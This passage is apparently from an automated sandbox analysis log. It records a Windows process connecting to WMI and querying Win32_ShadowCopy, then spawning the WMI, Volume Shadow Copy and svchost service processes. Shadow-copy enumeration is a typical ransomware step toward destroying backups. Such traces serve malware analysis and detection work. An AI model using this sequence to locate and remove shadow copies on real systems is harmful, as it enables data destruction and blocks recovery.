(_Block=0x60ccc0) [0061.757] free (_Block=0x60cea0) [0061.757] malloc (_Size=0x18) returned 0x60ccc0 [0061.757] malloc (_Size=0x18) returned 0x60cbc0 [0061.757] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0061.757] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0061.757] free (_Block=0x60cba0) [0061.757] free (_Block=0x60ccc0) [0061.757] ??0CHString@@QEAA@XZ () returned 0x14f750 [0061.757] GetCurrentThreadId () returned 0xa7c [0061.757] malloc (_Size=0x18) returned 0x60ccc0 [0061.757] malloc (_Size=0x18) returned 0x60cba0 [0061.757] malloc (_Size=0x18) returned 0x60cc40 [0061.757] malloc (_Size=0x18) returned 0x60cc60 [0061.757] malloc (_Size=0x18) returned 0x60cc80 [0061.758] SysStringLen (param_1="\\\\") returned 0x2 [0061.758] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0061.758] malloc (_Size=0x18) returned 0x60cca0 [0061.758] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0061.758] SysStringLen (param_1="\\") returned 0x1 [0061.758] malloc (_Size=0x18) returned 0x60cce0 [0061.758] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0061.758] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0061.758] free (_Block=0x60cca0) [0061.758] free (_Block=0x60cc80) [0061.758] free (_Block=0x60cc60) [0061.758] free (_Block=0x60cc40) [0061.758] free (_Block=0x60cba0) [0061.758] free (_Block=0x60ccc0) [0061.758] malloc (_Size=0x18) returned 0x60ccc0 [0061.758] malloc (_Size=0x18) returned 0x60cba0 [0061.758] malloc (_Size=0x18) returned 0x60cc40 [0061.758] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1cd1390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff5129d0 | out: ppNamespace=0xff5129d0*=0x1ce3c18) returned 0x0 [0061.858] free (_Block=0x60cc40) [0061.858] free (_Block=0x60cba0) [0061.858] free (_Block=0x60ccc0) [0061.858] CoSetProxyBlanket (pProxy=0x1ce3c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0061.859] free (_Block=0x60cce0) [0061.859] ??1CHString@@QEAA@XZ () returned 0x7fef884482c [0061.859] ??0CHString@@QEAA@XZ () returned 0x14f6a0 [0061.859] GetCurrentThreadId () returned 0xa7c [0061.859] malloc (_Size=0x18) returned 0x60cce0 [0061.859] lstrlenA (lpString="") returned 0 [0061.859] malloc (_Size=0x2) returned 0x6069a0 [0061.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff4a314c, cbMultiByte=-1, lpWideCharStr=0x6069a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.859] free (_Block=0x6069a0) [0061.859] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0061.859] SysStringLen (param_1="") returned 0x0 [0061.859] free (_Block=0x60cce0) [0061.859] malloc (_Size=0x18) returned 0x60cce0 [0061.859] IWbemServices:ExecQuery (This=0x1ce3c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x14f6a8) Thread: id = 63 os_tid = 0xa98 Thread: id = 79 os_tid = 0xad8 Thread: id = 80 os_tid = 0xadc Thread: id = 81 os_tid = 0xae0 Thread: id = 82 os_tid = 0xae4 Process: id = "5" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x69b38000" os_pid = "0xae8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000777c2" [0xc000000f] Thread: id = 83 os_tid = 0xaec Thread: id = 84 os_tid = 0xaf0 Thread: id = 85 os_tid = 0xaf4 Thread: id = 86 os_tid = 0xaf8 Thread: id = 87 os_tid = 0xafc Thread: id = 88 os_tid = 0xb00 Thread: id = 89 os_tid = 0xb04 Process: id = "6" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x63f7a000" os_pid = "0xb08" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xae8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00077bd7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 90 os_tid = 0xb20 Thread: id = 91 os_tid = 0xb1c Thread: id = 92 os_tid = 0xb18 [0073.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc4db80 | out: lpSystemTimeAsFileTime=0xc4db80*(dwLowDateTime=0x905123d0, dwHighDateTime=0x1d518a9)) [0073.250] GetCurrentProcessId () returned 0xb08 [0073.250] GetCurrentThreadId () returned 0xb18 [0073.250] GetTickCount () returned 0x20618 [0073.250] QueryPerformanceCounter (in: lpPerformanceCount=0xc4db88 | out: lpPerformanceCount=0xc4db88*=19328746087) returned 1 [0073.253] malloc (_Size=0x100) returned 0x138e80 Thread: id = 93 os_tid = 0xb14 Thread: id = 94 os_tid = 0xb10 Thread: id = 95 os_tid = 0xb0c Thread: id = 96 os_tid = 0xb28 Thread: id = 110 os_tid = 0xb44 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xb08" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 97 os_tid = 0x9d4 Thread: id = 98 os_tid = 0x76c Thread: id = 99 os_tid = 0x758 Thread: id = 100 os_tid = 0x74c Thread: id = 101 os_tid = 0x72c Thread: id = 102 os_tid = 0x71c Thread: id = 103 os_tid = 0x718 Thread: id = 104 os_tid = 0x638 Thread: id = 105 os_tid = 0x154 Thread: id = 106 os_tid = 0x150 Thread: id = 107 os_tid = 0x12c Thread: id = 108 os_tid = 0x120 Thread: id = 109 os_tid = 0x3fc Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4aa46000" os_pid = "0xb2c" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xb08" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00078031" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 111 os_tid = 0xb50 Thread: id = 112 os_tid = 0xb40 Thread: id = 113 os_tid = 0xb3c Thread: id = 114 os_tid = 0xb38 Thread: id = 115 os_tid = 0xb34 Thread: id = 116 os_tid = 0xb30